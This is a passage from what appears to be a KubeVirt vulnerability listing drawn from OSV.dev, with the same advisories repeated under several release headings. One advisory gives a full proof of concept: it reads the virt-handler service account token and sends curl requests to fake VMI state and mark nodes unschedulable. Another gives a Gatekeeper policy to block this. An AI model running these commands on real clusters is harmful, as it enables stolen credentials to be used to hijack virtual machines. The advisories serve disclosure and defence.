Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

GO-2022-1000 GHSA-qv98-3369-g364 Aug 21, 2024

KubeVirt vulnerable to arbitrary file read on host in kubevirt.io/kubevirt

Fixed in


          0.55.1

References

Updated Mar 13, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2023-26484 GHSA-cp96-jpmq-xrr2 Mar 16, 2023

On a compromised node, the virt-handler service account can be used to modify all node specs

8.2 / 10

High

Network High Low None Changed High High None

Impact

If a malicious user has taken over a Kubernetes node where virt-handler (the KubeVirt node-daemon) is running, the virt-handler service account can be used to modify all node specs.

This can be misused to lure-in system-level-privileged components (which can for instance read all secrets on the cluster, or can exec into pods on other nodes). This way a compromised node can be used to elevate privileges beyond the node until potentially having full privileged access to the whole cluster.

The simplest way to exploit this, once a user could compromise a specific node, is to set with the virt-handler service account all other nodes to unschedulable and simply wait until system-critical components with high privileges appear on its node.

Since this requires a node to be compromised first, the severity of this finding is considered Medium.

Patches

Not yet available.

Workarounds

Gatekeeper users can add a webhook which will block the virt-handler service account to modify the spec of a node.

An example policy, preventing virt-handler from changing the node spec may look like this:

apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: virthandlerrestrictions
spec:
[...]
  targets:
    - libs:
        - |         
[...]          
          is_virt_handler(username) {
              username == "system:serviceaccount:kubevirt:virt-handler"
          }
          mutates_node_in_unintended_way {
            # TODO
            # only allow kubevirt.io/ prefixed metadata node changes
          }
      rego: |
[...]
        
        violation[{"msg": msg}] {
          is_virt_handler(username)
          mutates_node_in_unintended_way(input.review.object, input.review.oldObject)
          msg := sprintf("virt-handler tries to modify node <%v> in an unintended way.", [input.review.object.name])
        }

and applying this template to node modifications.

Credits

Special thanks to the discoverers of this issue:

Nanzi Yang (nzyang@stu.xidian.edu.cn) Xin Guo (guox@stu.xidian.edu.cn) Jietao Xiao (jietaoXiao@stu.xidian.edu.cn) Wenbo Shen (shenwenbo@zju.edu.cn) Jinku Li (jkli@xidian.edu.cn)

References

https://github.com/kubevirt/kubevirt/issues/9109

References

Updated Nov 08, 2023 · Source: OSV.dev

May 03, 2021

v0.39.0 minor

15 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64437 GO-2025-4102 GHSA-2r4r-5x78-mvqf Nov 17, 2025

KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801202148-3ce9f41c54d0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64434 GO-2025-4107 GHSA-ggp9-c99x-54gp Nov 17, 2025

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64432 GO-2025-4103 GHSA-38jw-g2qx-4286 Nov 17, 2025

KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64433 GO-2025-4109 GHSA-qw6q-3pgr-5cwq Nov 17, 2025

KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801195231-a81b27d4600c


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64435 GO-2025-4105 GHSA-9m94-w2vq-hcf9 Nov 17, 2025

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Fixed in


          1.7.0-beta.0

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64324 GO-2025-4110 GHSA-46xp-26xh-hpqh Nov 17, 2025

KubeVirt Vulnerable to Arbitrary Host File Read and Write in kubevirt.io/kubevirt

Fixed in


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

GO-2022-1000 GHSA-qv98-3369-g364 Aug 21, 2024

KubeVirt vulnerable to arbitrary file read on host in kubevirt.io/kubevirt

Fixed in


          0.55.1

References

Updated Mar 13, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2023-26484 GHSA-cp96-jpmq-xrr2 Mar 16, 2023

On a compromised node, the virt-handler service account can be used to modify all node specs

8.2 / 10

High

Network High Low None Changed High High None

Impact

If a malicious user has taken over a Kubernetes node where virt-handler (the KubeVirt node-daemon) is running, the virt-handler service account can be used to modify all node specs.

This can be misused to lure-in system-level-privileged components (which can for instance read all secrets on the cluster, or can exec into pods on other nodes). This way a compromised node can be used to elevate privileges beyond the node until potentially having full privileged access to the whole cluster.

The simplest way to exploit this, once a user could compromise a specific node, is to set with the virt-handler service account all other nodes to unschedulable and simply wait until system-critical components with high privileges appear on its node.

Since this requires a node to be compromised first, the severity of this finding is considered Medium.

Patches

Not yet available.

Workarounds

Gatekeeper users can add a webhook which will block the virt-handler service account to modify the spec of a node.

An example policy, preventing virt-handler from changing the node spec may look like this:

apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: virthandlerrestrictions
spec:
[...]
  targets:
    - libs:
        - |         
[...]          
          is_virt_handler(username) {
              username == "system:serviceaccount:kubevirt:virt-handler"
          }
          mutates_node_in_unintended_way {
            # TODO
            # only allow kubevirt.io/ prefixed metadata node changes
          }
      rego: |
[...]
        
        violation[{"msg": msg}] {
          is_virt_handler(username)
          mutates_node_in_unintended_way(input.review.object, input.review.oldObject)
          msg := sprintf("virt-handler tries to modify node <%v> in an unintended way.", [input.review.object.name])
        }

and applying this template to node modifications.

Credits

Special thanks to the discoverers of this issue:

Nanzi Yang (nzyang@stu.xidian.edu.cn) Xin Guo (guox@stu.xidian.edu.cn) Jietao Xiao (jietaoXiao@stu.xidian.edu.cn) Wenbo Shen (shenwenbo@zju.edu.cn) Jinku Li (jkli@xidian.edu.cn)

References

https://github.com/kubevirt/kubevirt/issues/9109

References

Updated Nov 08, 2023 · Source: OSV.dev

Feb 25, 2021

v0.39.0-rc.0 pre

15 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64437 GO-2025-4102 GHSA-2r4r-5x78-mvqf Nov 17, 2025

KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801202148-3ce9f41c54d0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64434 GO-2025-4107 GHSA-ggp9-c99x-54gp Nov 17, 2025

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64432 GO-2025-4103 GHSA-38jw-g2qx-4286 Nov 17, 2025

KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64433 GO-2025-4109 GHSA-qw6q-3pgr-5cwq Nov 17, 2025

KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801195231-a81b27d4600c


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64435 GO-2025-4105 GHSA-9m94-w2vq-hcf9 Nov 17, 2025

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Fixed in


          1.7.0-beta.0

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64324 GO-2025-4110 GHSA-46xp-26xh-hpqh Nov 17, 2025

KubeVirt Vulnerable to Arbitrary Host File Read and Write in kubevirt.io/kubevirt

Fixed in


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

GO-2022-1000 GHSA-qv98-3369-g364 Aug 21, 2024

KubeVirt vulnerable to arbitrary file read on host in kubevirt.io/kubevirt

Fixed in


          0.55.1

References

Updated Mar 13, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2023-26484 GHSA-cp96-jpmq-xrr2 Mar 16, 2023

On a compromised node, the virt-handler service account can be used to modify all node specs

8.2 / 10

High

Network High Low None Changed High High None

Impact

If a malicious user has taken over a Kubernetes node where virt-handler (the KubeVirt node-daemon) is running, the virt-handler service account can be used to modify all node specs.

This can be misused to lure-in system-level-privileged components (which can for instance read all secrets on the cluster, or can exec into pods on other nodes). This way a compromised node can be used to elevate privileges beyond the node until potentially having full privileged access to the whole cluster.

The simplest way to exploit this, once a user could compromise a specific node, is to set with the virt-handler service account all other nodes to unschedulable and simply wait until system-critical components with high privileges appear on its node.

Since this requires a node to be compromised first, the severity of this finding is considered Medium.

Patches

Not yet available.

Workarounds

Gatekeeper users can add a webhook which will block the virt-handler service account to modify the spec of a node.

An example policy, preventing virt-handler from changing the node spec may look like this:

apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: virthandlerrestrictions
spec:
[...]
  targets:
    - libs:
        - |         
[...]          
          is_virt_handler(username) {
              username == "system:serviceaccount:kubevirt:virt-handler"
          }
          mutates_node_in_unintended_way {
            # TODO
            # only allow kubevirt.io/ prefixed metadata node changes
          }
      rego: |
[...]
        
        violation[{"msg": msg}] {
          is_virt_handler(username)
          mutates_node_in_unintended_way(input.review.object, input.review.oldObject)
          msg := sprintf("virt-handler tries to modify node <%v> in an unintended way.", [input.review.object.name])
        }

and applying this template to node modifications.

Credits

Special thanks to the discoverers of this issue:

Nanzi Yang (nzyang@stu.xidian.edu.cn) Xin Guo (guox@stu.xidian.edu.cn) Jietao Xiao (jietaoXiao@stu.xidian.edu.cn) Wenbo Shen (shenwenbo@zju.edu.cn) Jinku Li (jkli@xidian.edu.cn)

References

https://github.com/kubevirt/kubevirt/issues/9109

References

Updated Nov 08, 2023 · Source: OSV.dev

Feb 25, 2021

v0.38.0 minor

15 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64437 GO-2025-4102 GHSA-2r4r-5x78-mvqf Nov 17, 2025

